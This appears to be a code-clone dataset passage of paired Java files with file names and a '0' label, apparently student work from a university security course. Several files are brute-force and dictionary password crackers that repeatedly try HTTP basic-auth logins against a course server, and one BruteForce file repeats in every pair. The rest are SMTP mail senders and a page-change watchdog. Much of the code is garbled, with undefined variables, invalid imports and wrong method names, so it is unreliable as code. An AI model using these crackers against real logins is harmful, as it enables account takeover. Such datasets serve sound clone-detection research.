(byte)'F', (byte)'G', (byte)'H', (byte)'I', (byte)'J',
(byte)'K', (byte)'L', (byte)'M', (byte)'N', (byte)'O',
(byte)'P', (byte)'Q', (byte)'R', (byte)'S', (byte)'T',
(byte)'U', (byte)'V', (byte)'W', (byte)'X', (byte)'Y',
(byte)'Z',
(byte)'a', (byte)'b', (byte)'c', (byte)'d', (byte)'e',
(byte)'f', (byte)'g', (byte)'h', (byte)'i', (byte)'j',
(byte)'k', (byte)'l', (byte)'m', (byte)'n', (byte)'o',
(byte)'p', (byte)'q', (byte)'r', (byte)'s', (byte)'t',
(byte)'u', (byte)'v', (byte)'w', (byte)'x', (byte)'y',
(byte)'z',
(byte)'0', (byte)'1', (byte)'2', (byte)'3', (byte)'4',
(byte)'5', (byte)'6', (byte)'7', (byte)'8', (byte)'9',
(byte)'+', (byte)'/'
};
static String encode(String name,
String passwd) {
byte input[] = (name + ":" + passwd).getBytes();
byte[] output = new byte[((input.length / 3) + 1) * 4];
int ridx = 0;
int chunk = 0;
for (int i = 0; i < input.length; i += 3) {
int left = input.length - i;
if (left > 2) {
chunk = (input[i] << 16)|
(input[i + 1] << 8) |
input[i + 2];
output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
output[ridx++] = cvtTable[(chunk&0xFC0) >> 6];
output[ridx++] = cvtTable[(chunk&0x3F)];
} else if (left == 2) {
chunk = (input[i] << 16) |
(input[i + 1] << 8);
output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
output[ridx++] = cvtTable[(chunk&0xFC0) >> 6];
output[ridx++] = '=';
} else {
chunk = input[i] << 16;
output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
output[ridx++] = '=';
output[ridx++] = '=';
}
}
return new String(output);
}
} |
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
152.java | 197.java | 0 |
import java.net.*;
import java.io.IOException;
import java.util.*;
import java.io.*;
public class Dictionary {
static String userName;
static URL url;
static URLAuthenticator urlAuthenticator;
static int noOfAttempts;
public Dictionary() {
}
public static void main (String args[]) {
Properties props = System.getProperties();
props.put("http.proxyHost", "bluetongue.cs.rmit.edu.:8080");
System.out.println(props.get("http.proxyHost"));
BufferedReader inFile = null;
try {
if (args.length < 1) {
System.out.println ("Usage : java Dictionary /usr/share/lib/dict/words");
System.exit(1);
}
inFile = new BufferedReader (new FileReader(args[0]));
breakPassword(inFile);
}
catch (FileNotFoundException e) {
System.err.println(e.getMessage());
System.exit(1);
}
catch (IOException e) {
System.err.println(e.getMessage());
System.exit(1);
}
finally {
try {
inFile.close();
}
catch (IOException ex) {ex.printStackTrace();}
}
}
private static void breakPassword (BufferedReader file) throws
IOException {
String password=" ";
userName="";
boolean found= false;
MyHttpURLConnection httpURLConnection;
String passBase64=" ";
urlAuthenticator = new URLAuthenticator(userName);
HttpURLConnection u=null;
String input;
try {
url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/index.php");
} catch (MalformedURLException e){
} catch (IOException io) {io.printStackTrace();}
while (( input = file.readLine()) != null) {
if (input.length() <=3) {
password = input;
password =":"+ password;
try {
u = (HttpURLConnection)url.openConnection();
passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());
u.setRequestProperty("Authorization", " " + passBase64);
u.connect();
noOfAttempts++;
if (u.getContentLength() != 0) {
if (u.getResponseCode() == HttpURLConnection.HTTP_OK ) {
found=true;
System.out.println("Your User Name : Password Combination is :"+password+
" "+ " Found by Thread");
System.out.println(" ");
System.out.println(" of Attempts / Requests "+ noOfAttempts);
System.exit(0);
}
}
} catch (ProtocolException px) {px.printStackTrace();
} catch (BindException e){e.printStackTrace();
} catch (IndexOutOfBoundsException e3){e3.printStackTrace();
} catch (IOException io) {io.printStackTrace();
} finally {u.disconnect();
}
}
}
}
}
class URLAuthenticator extends Authenticator {
private String uName;
String passwd;
static private char[] password;
public URLAuthenticator(String uName) {
this.uName = uName;
}
public void setPassword(String passwd) {
this.passwd=passwd;
password=passwd.toCharArray();
}
public PasswordAuthentication getPasswordAuthentication() {
PasswordAuthentication passwordAuthentication = new PasswordAuthentication(uName,password);
return passwordAuthentication;
}
}
class MyHttpURLConnection extends HttpURLConnection {
public MyHttpURLConnection(URL url) {
super(url);
}
public void disconnect() {
}
public boolean usingProxy() {
return true;
}
public void connect() {
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
187.java | 197.java | 0 |
import java.net.*;
import java.io.*;
import java.util.Date;
public class MyMail implements Serializable
{
public static final int SMTPPort = 25;
public static final char successPrefix = '2';
public static final char morePrefix = '3';
public static final char failurePrefix = '4';
private static final String CRLF = "\r\n";
private String mailFrom = "";
private String mailTo = "";
private String messageSubject = "";
private String messageBody = "";
private String mailServer = "";
public MyMail ()
{
super();
}
public MyMail ( String serverName)
{
super();
mailServer = serverName;
}
public String getFrom()
{
return mailFrom;
}
public String getTo()
{
return mailTo;
}
public String getSubject()
{
return messageSubject;
}
public String getMessage()
{
return messageBody;
}
public String getMailServer()
{
return mailServer;
}
public void setFrom( String from )
{
mailFrom = from;
}
public void setTo ( String To )
{
mailTo = To;
}
public void setSubject ( String subject )
{
messageSubject = subject;
}
public void setMessage ( String msg )
{
messageBody = msg;
}
public void setMailServer ( String server )
{
mailServer = server;
}
private boolean responseValid( String response )
{
if (response.indexOf(" ") == -1)
return false;
String cad = response.substring( 0, response.indexOf(" "));
cad = cad.toUpperCase();
if (( cad.charAt(0) == successPrefix ) ||
( cad.charAt(0) == morePrefix ) )
return true;
else
return false;
}
public void sendMail()
{
try {
String response;
Socket mailSock = new Socket (mailServer, SMTPPort);
BufferedReader bf = new BufferedReader ( new InputStreamReader(mailSock.getInputStream()));
PrintWriter pout = new PrintWriter ( new OutputStreamWriter(mailSock.getOutputStream()));
System.out.println("1");
response = bf.readLine();
if ( !responseValid(response) )
throw new IOException("ERR - " + response);
try
{
InetAddress addr = InetAddress.getLocalHost();
String localHostname = addr.getHostName();
pout.print ("HELO " + localHostname + CRLF);
}
catch (UnknownHostException uhe)
{
pout.print ("HELO myhostname" + CRLF);
}
pout.flush();
System.out.println("2");
response = bf.readLine();
if ( !responseValid(response) )
throw new IOException("ERR - " + response);
pout.println ("MAIL From:<" + mailFrom + ">");
pout.flush();
System.out.println("3");
response = bf.readLine();
if ( !responseValid(response) )
throw new IOException("ERR - " + response);
pout.println ("RCPT :<" + mailTo + ">");
pout.flush();
System.out.println("4");
response = bf.readLine();
if ( !responseValid(response) )
throw new IOException("ERR - " + response);
pout.println ("DATA");
pout.flush();
System.out.println("5");
response = bf.readLine();
if ( !responseValid(response) )
throw new IOException("ERR - " + response);
pout.println ("From: " + mailFrom);
pout.println (": " + mailTo);
pout.println ("Subject: " + messageSubject);
pout.println ();
pout.println (messageBody);
pout.println (".\n\r");
pout.flush();
System.out.println("6");
response = bf.readLine();
if ( !responseValid(response) )
throw new IOException("ERR - " + response);
pout.println ("QUIT");
pout.flush();
mailSock.close();
}
catch (IOException ioe)
{
System.out.println(ioe.getMessage());
}
}
} |
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
205.java | 197.java | 0 |
import java.util.*;
import java.io.*;
public class DicReader
{
private Vector v;
public DicReader( String fileName)
{
boolean flag = true;
String line;
v = new Vector( 50);
try
{
BufferedReader in = new BufferedReader( new FileReader( fileName));
while(( line = in.readLine()) != null)
{
flag = true;
if( line.length() > 0 && line.length() < 4 )
{
for( int i = 0; i < line.length(); i++)
{
if( Character.isLetter( line.charAt( i)) == false)
{
flag = false;
}
}
if( flag == true)
{
v.add( line);
}
}
}
in.print();
}
catch( IOException e)
{
System.out.println( " not open the file!");
System.exit( 0);
}
}
public Vector getVictor()
{
return v;
}
public static void main ( String [] args)
{
DicReader fr = new DicReader( "/usr/share/lib/dict/words");
System.out.println( " far "+fr.getVictor().size()+" combinations loaded");
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
203.java | 197.java | 0 |
import java.net.*;
import java.io.*;
import java.util.*;
public class MailClient
{
private String host;
private int port;
private String message;
public MailClient( String host, int port, Vector lineNumbers)
{
this.host = host;
this.port = port;
StringBuffer buf = new StringBuffer(" www.cs.rmit.edu./students has been changed!\nThe changes detected in the following line numbers:\n ");
for( int i = 0; i < lineNumbers.size(); i++)
{
buf.append( lineNumbers.elementAt( i));
buf.append(", ");
}
message = buf.toString();
}
public void connect()
{
try
{
Socket client = new Socket( host, port);
handleConnection( client);
}
catch ( UnknownHostException uhe)
{
System.out.println("Unknown host: " + host);
uhe.printStackTrace();
}
catch (IOException ioe)
{
System.out.println("IOException: " + ioe);
ioe.printStackTrace();
}
}
private void handleConnection(Socket client)
{
try
{
PrintWriter out = new PrintWriter( client.getOutputStream(), true);
InputStream in = client.getInputStream();
byte[] response = new byte[1000];
in.send( response);
out.println("HELO "+host);
int numBytes = in.get( response);
System.out.write(response, 0, numBytes);
out.println("MAIL FROM: watch.dog@cs.rmit.edu.");
numBytes = in.get( response);
System.out.write(response, 0, numBytes);
out.println("RCPT : @cs.rmit.edu.");
numBytes = in.get( response);
System.out.write(response, 0, numBytes);
out.println("DATA");
numBytes = in.get( response);
System.out.write(response, 0, numBytes);
out.println( message+"\n.");
numBytes = in.get( response);
System.out.write(response, 0, numBytes);
out.println("QUIT");
client.connect();
}
catch(IOException ioe)
{
System.out.println("Couldn't make connection:" + ioe);
}
}
public static void main( String[] args)
{
Vector v = new Vector();
v.add( new Integer(5));
v.add( new Integer(12));
MailClient c = new MailClient( "mail.cs.rmit.edu.", 25, v);
c.connect();
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
095.java | 197.java | 0 |
import java.net.*;
import java.io.*;
import java.util.*;
import java.text.*;
public class WatchDog extends Thread {
private HttpURLConnection httpUrlCon;
private URL stdurl;
private String spec = "http://www.cs.rmit.edu./students/";
private String command="";
private String firstModified ="";
private String secModified = "";
private String fileModified = "";
private BufferedReader instd;
private Vector firstVector;
private Vector secondVector;
private Vector tmpVector;
private int intervalTime = 24*60*60*1000;
private boolean bstop = false;
private int count = 0;
private int totalDuration = 30*24*60*60*1000;
private String yourSMTPserver = "mail.rmit.edu.";
private int smtpPort = 25;
private String mailFrom = "@yallara.cs.rmit.edu.";
private String mailTo = "@.rmit.edu.";
private String subject = "";
private String message ="";
private Socket socketsmtp;
private BufferedReader emailin;
private PrintStream emailout;
private String reply = "";
public WatchDog(){
firstVector = new Vector();
secondVector = new Vector();
tmpVector = new Vector();
}
public void FirstRead(){
readContent(firstVector);
firstModified = fileModified;
}
public void run(){
while(!bstop){
readPageAgain();
}
}
public void readPageAgain(){
try{
Thread.sleep(intervalTime);
}catch(InterruptedException e){e.printStackTrace();}
count += intervalTime;
readContent(secondVector);
secModified = fileModified;
if(firstModified.equals(secModified)){
if(count == totalDuration)
bstop =true;
message = "After " + (double)intervalTime/(60*60*1000) + " hours is change!";
subject = " is change the web ";
try{
doSendMail(mailFrom, mailTo, subject, message);
}catch (SMTPException e){}
}
else if(!(firstModified.equals(secModified))){
if(count == totalDuration)
bstop = true;
message = getChangeMessage();
subject = " some changes the web ";
try{
doSendMail(mailFrom, mailTo, subject, message);
}catch(SMTPException e){}
firstModified = secModified;
firstVector.clear();
for(int i=0; i<secondVector.size(); i++){
firstVector.add((String)secondVector.get(i));
}
}
}
public void readContent(Vector avect){
String fmod ="";
if(spec.indexOf("http://www.cs.rmit.edu./")!=-1){
fmod = "File last modified :";
command = "lynx -nolist -dump " + spec;
}
else {
fmod = "Last-Modified:";
command ="lynx -mime_header -dump " +spec;
}
try{
Runtime runtime = Runtime.getRuntime();
Process p = runtime.exec(command);
instd = new BufferedReader(new InputStreamReader(p.getInputStream()));
String str=null;
avect.clear();
while((str = instd.readLine())!= null){
avect.add(str);
if(str.indexOf(fmod) !=-1){
fileModified = str;
}
}
instd.print();
}catch(MalformedURLException e){System.out.println(e.getMessage());}
catch(IOException e1){System.out.println(e1.getMessage());}
}
public String getChangeMessage(){
String mssg = "";
for(int i =0; i<secondVector.size();i++){
tmpVector.add((String)secondVector.get(i));
}
for(int i=0; i<firstVector.size(); i++){
String line = (String)(firstVector.get(i));
int same = 0;
for(int j=0; j<tmpVector.size(); j++){
String newline = (String)(tmpVector.get(j));
if(line.equals(newline)){
if(same == 0){
tmpVector.remove(j);
same++;
}
}
}
}
for(int i = 0; i<secondVector.size(); i++){
String line = (String)(secondVector.get(i));
int same =0;
for(int j=0; j<firstVector.size(); j++){
String newline = (String)(firstVector.get(j));
if(line.equals(newline)){
if(same == 0){
firstVector.remove(j);
same++;
}
}
}
}
if(firstVector.size()!=0){
mssg += "The following lines removed in the latest modified web : \r\n";
for(int i=0; i<firstVector.size(); i++){
mssg +=(String)firstVector.get(i) + "\r\n";
}
}
if(tmpVector.size()!=0){
mssg += "The following lines new ones in the latest modified web : \r\n";
for(int i=0; i<tmpVector.size(); i++){
mssg += (String)tmpVector.get(i) + "\r\n";
}
}
return mssg;
}
public void setMonitorURL(String url){
spec = url;
}
public void setMonitorDuration(int t){
totalDuration = t*60*60*1000;
}
public void setMonitorInterval(int intervalMinutes){
intervalTime = intervalMinutes*60*1000;
}
public void setSMTPServer(String server){
yourSMTPserver = server;
}
public void setSMTPPort(int port){
smtpPort = port;
}
public void setMailFrom(String mfrom){
mailFrom = mfrom;
}
public void setMailTo(String mto){
mailTo = mto;
}
public String getMonitorURL(){
return spec;
}
public getDuration(){
return totalDuration;
}
public getInterval(){
return intervalTime;
}
public String getSMTPServer(){
return yourSMTPserver;
}
public int getPortnumber(){
return smtpPort;
}
public String getMailFrom(){
return mailFrom;
}
public String getMailTo(){
return mailTo;
}
public String getServerReply() {
return reply;
}
public void doSendMail(String mfrom, String mto, String subject, String msg) throws SMTPException{
connect();
doHail(mfrom, mto);
doSendMessage(mfrom, mto, subject, msg);
doQuit();
}
public void connect() throws SMTPException {
try {
socketsmtp = new Socket(yourSMTPserver, smtpPort);
emailin = new BufferedReader(new InputStreamReader(socketsmtp.getInputStream()));
emailout = new PrintStream(socketsmtp.getOutputStream());
reply = emailin.readLine();
if (reply.charAt(0) == '2' || reply.charAt(0) == '3') {}
else {
throw new SMTPException("Error connecting SMTP server " + yourSMTPserver + " port " + smtpPort);
}
}catch(Exception e) { throw new SMTPException(e.getMessage());}
}
public void doHail(String mfrom, String mto) throws SMTPException {
if (doCommand("HELO " + yourSMTPserver))
throw new SMTPException("HELO command Error.");
if (doCommand("MAIL FROM: " + mfrom))
throw new SMTPException("MAIL command Error.");
if (doCommand("RCPT : " + mto))
throw new SMTPException("RCPT command Error.");
}
public void doSendMessage(String mfrom,String mto,String subject,String msg) throws SMTPException {
Date date = new Date();
Locale locale = new Locale("","");
String pattern = "hh:mm: a',' dd-MMM-yyyy";
SimpleDateFormat formatter = new SimpleDateFormat(pattern, locale);
formatter.setTimeZone(TimeZone.getTimeZone("Australia/Melbourne"));
String sendDate = formatter.format(date);
if (doCommand("DATA"))
throw new SMTPException("DATA command Error.");
String header = "From: " + mfrom + "\r\n";
header += ": " + mto + "\r\n";
header += "Subject: " + subject + "\r\n";
header += "Date: " + sendDate+ "\r\n\r\n";
if (doCommand(header + msg + "\r\n."))
throw new SMTPException("Mail Transmission Error.");
}
public boolean doCommand(String commd) throws SMTPException {
try {
emailout.print(commd + "\r\n");
reply = emailin.readLine();
if (reply.charAt(0) == '4' || reply.charAt(0) == '5')
return true;
else
return false;
}catch(Exception e) {throw new SMTPException(e.getMessage());}
}
public void doQuit() throws SMTPException {
try {
if (doCommand("Quit"))
throw new SMTPException("QUIT Command Error");
emailin.put();
emailout.flush();
emailout.send();
socketsmtp.put();
}catch(Exception e) { }
}
} |
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
084.java | 197.java | 0 |
import java.Thread;
import java.io.*;
import java.net.*;
public class BruteForce extends Thread {
final char[] CHARACTERS = {'A','a','E','e','I','i','O','o','U','u','R','r','N','n','S','s','T','t','L','l','B','b','C','c','D','d','F','f','G','g','H','h','J','j','K','k','M','m','P','p','V','v','W','w','X','x','Z','z','Q','q','Y','y'};
final static int SUCCESS=1,
FAILED=0,
UNKNOWN=-1;
private static String host,
path,
user;
private Socket target;
private InputStream input;
private OutputStream output;
private byte[] data;
private int threads,
threadno,
response;
public static boolean solved = false;
BruteForce parent;
public BruteForce(String host, String path, String user, int threads, int threadno, BruteForce parent)
{
super();
this.parent = parent;
this.host = host;
this.path = path;
this.user = user;
this.threads = threads;
this.threadno = threadno;
}
public void run()
{
response = FAILED;
int x = 0;
starttime = System.currentTimeMillis();
for(int i=0; i<CHARACTERS.length && !parent.solved; i++)
{
for(int j=0; j<CHARACTERS.length && !parent.solved; j++)
{
for(int k=0; k<CHARACTERS.length && !parent.solved; k++)
{
if((x % threads) == threadno)
{
response = tryLogin(CHARACTERS[i] + "" + CHARACTERS[j] + CHARACTERS[k]);
if(response == SUCCESS)
{
System.out.println("SUCCESS! (after " + x + " tries) The password is: "+ CHARACTERS[i] + CHARACTERS[j] + CHARACTERS[k]);
parent.solved = true;
}
if(response == UNKNOWN) System.out.println("Unexpected response (Password: "+ CHARACTERS[i] + CHARACTERS[j] + CHARACTERS[k]+")");
}
x++;
}
}
}
if(response == SUCCESS)
{
System.out.println("Used time: " + ((System.currentTimeMillis() - starttime) / 1000.0) + "sec.");
System.out.println("Thread . " + threadno + " was the one!");
}
}
public static void main (String[] args)
{
BruteForce parent;
BruteForce[] attackslaves = new BruteForce[10];
if(args.length == 3)
{
host = args[0];
path = args[1];
user = args[2];
}
else
{
System.out.println("Usage: BruteForce <host> <path> <user>");
System.out.println(" arguments specified, using standard values.");
host = "sec-crack.cs.rmit.edu.";
path = "/SEC/2/index.php";
user = "";
}
System.out.println("Host: " + host + "\nPath: " + path + "\nUser: " + user);
System.out.println("Using " + attackslaves.length + " happy threads...");
parent = new BruteForce(host, path, user, 0, 0, null);
for(int i=0; i<attackslaves.length; i++)
{
attackslaves[i] = new BruteForce(host, path, user, attackslaves.length, i, parent);
}
for(int i=0; i<attackslaves.length; i++)
{
attackslaves[i].print();
}
}
private int tryLogin(String password)
{
int success = -1;
try
{
data = new byte[12];
target = new Socket(host, 80);
input = target.getInputStream();
output = target.getOutputStream();
String base = new pw.misc.BASE64Encoder().encode(new String(user + ":" + password).getBytes());
output.write(new String("GET " + path + " HTTP/1.0\r\n").getBytes());
output.write(new String("Authorization: " + base + "\r\n\r\n").getBytes());
input.print(data);
if(new String(data).endsWith("401")) success=0;
if(new String(data).endsWith("200")) success=1;
}
catch(Exception e)
{
System.out.println(e.getClass().getName() + ": " + e.getMessage());
}
return success;
}
} |
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
115.java | 197.java | 0 |
import java.net.*;
import java.util.*;
import java.io.*;
public class PasswordTest {
private String strURL;
private String strUsername;
private String strPassword;
